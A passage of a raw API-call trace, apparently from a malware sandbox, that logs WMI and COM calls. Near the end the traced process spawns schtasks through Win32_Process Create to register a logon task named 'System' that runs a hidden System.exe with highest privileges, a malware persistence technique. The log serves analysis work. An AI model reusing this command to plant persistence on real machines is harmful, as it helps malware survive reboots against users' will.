pszName="CIMV2") returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4b0960, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0128.157] WbemDefPath:IWbemPath:SetClassName (This=0x1b4b0960, Name="Win32_Process") returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0960, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0960, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0960, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0960, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aee60, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0128.157] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0128.158] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0128.158] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0128.158] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0128.158] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0128.158] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0128.158] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.158] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b482bf0) returned 0x0 [0128.158] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b482bf0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0128.158] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b482bf0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x1b4b05a0) returned 0x0 [0128.158] WbemDefPath:IUnknown:Release (This=0x1b482bf0) returned 0x0 [0128.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x1b4b05a0) returned 0x0 [0128.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0128.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0128.159] WbemDefPath:IUnknown:AddRef (This=0x1b4b05a0) returned 0x3 [0128.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0128.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0128.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b482b90) returned 0x0 [0128.159] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b482b90, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.159] WbemDefPath:IUnknown:Release (This=0x1b482b90) returned 0x3 [0128.159] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0128.159] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0128.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0128.159] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x2 [0128.159] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x1 [0128.159] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0128.159] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0128.159] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b05a0, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x1b4b05a0) returned 0x0 [0128.159] WbemDefPath:IUnknown:AddRef (This=0x1b4b05a0) returned 0x3 [0128.159] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x2 [0128.159] WbemDefPath:IWbemPath:SetText (This=0x1b4b05a0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0128.160] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aee60, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0128.160] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0128.160] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.160] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0128.160] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0128.160] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0128.160] IUnknown:Release (This=0x6124e8) returned 0x1 [0128.160] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b483070) returned 0x0 [0128.161] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b483070, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0128.161] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b483070, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4af0a0) returned 0x0 [0128.161] WbemDefPath:IUnknown:Release (This=0x1b483070) returned 0x0 [0128.161] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4af0a0) returned 0x0 [0128.161] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0128.161] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0128.161] WbemDefPath:IUnknown:AddRef (This=0x1b4af0a0) returned 0x3 [0128.161] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0128.161] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0128.161] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4830b0) returned 0x0 [0128.161] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4830b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.161] WbemDefPath:IUnknown:Release (This=0x1b4830b0) returned 0x3 [0128.161] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0128.161] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0128.162] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0128.162] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x2 [0128.162] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x1 [0128.162] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0128.162] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0128.162] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4af0a0) returned 0x0 [0128.162] WbemDefPath:IUnknown:AddRef (This=0x1b4af0a0) returned 0x3 [0128.162] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x2 [0128.162] WbemDefPath:IWbemPath:SetText (This=0x1b4af0a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0128.162] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b05a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0128.162] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af0a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0128.162] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af0a0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0128.162] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af0a0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0128.162] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4b05a0) returned 0x0 [0128.162] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af0a0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0128.162] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af0a0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0128.162] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af0a0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0128.162] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b05a0, uIndex=0x0, pszName="root") returned 0x0 [0128.162] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af0a0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0128.162] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af0a0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0128.162] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b05a0, uIndex=0x1, pszName="cimv2") returned 0x0 [0128.162] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af0a0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0128.162] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af0a0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0128.162] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b05a0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0128.162] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b05a0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0128.162] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b05a0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0128.163] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aee60, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0128.163] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0128.163] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.163] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aee60, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0128.163] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0128.163] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aee60, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.163] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b05a0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0128.163] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b05a0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0128.163] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b05a0, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0128.163] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0128.163] WbemLocator:IUnknown:AddRef (This=0x1b511a58) returned 0x3 [0128.163] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511a58, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b511a58) returned 0x0 [0128.163] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x3 [0128.163] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x2 [0128.163] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b05a0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0128.163] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b05a0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0128.163] IWbemServices:GetObject (in: This=0x1b4ced40, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4d9480, ppCallResult=0x0) returned 0x0 [0128.167] IWbemClassObject:GetMethod (in: This=0x1b4d9480, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4d8350, ppOutSignature=0x1b30d610*=0x1b4d97f0) returned 0x0 [0128.167] IWbemClassObject:SpawnInstance (in: This=0x1b4d8350, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b469f40) returned 0x0 [0128.167] IWbemClassObject:Get (in: This=0x1b469f40, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27280f8*=0, plFlavor=0x27280fc*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27280f8*=8, plFlavor=0x27280fc*=32) returned 0x0 [0128.168] IWbemClassObject:Get (in: This=0x1b469f40, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27280f8*=8, plFlavor=0x27280fc*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27280f8*=8, plFlavor=0x27280fc*=32) returned 0x0 [0128.168] IWbemClassObject:Put (This=0x1b469f40, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"System\" /sc ONLOGON /tr \"'C:\\Users\\All Users\\Application Data\\System.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0128.168] IWbemClassObject:Get (in: This=0x1b469f40, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2728188*=0, plFlavor=0x272818c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2728188*=13, plFlavor=0x272818c*=32) returned 0x0 [0128.168] IWbemClassObject:Get (in: This=0x1b469f40, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2728188*=13, plFlavor=0x272818c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2728188*=13, plFlavor=0x272818c*=32) returned 0x0 [0128.168] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4d6b40) returned 0x0 [0128.168] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0128.169] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0128.169] IUnknown:QueryInterface (in: This=0x1b4d6b40, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, 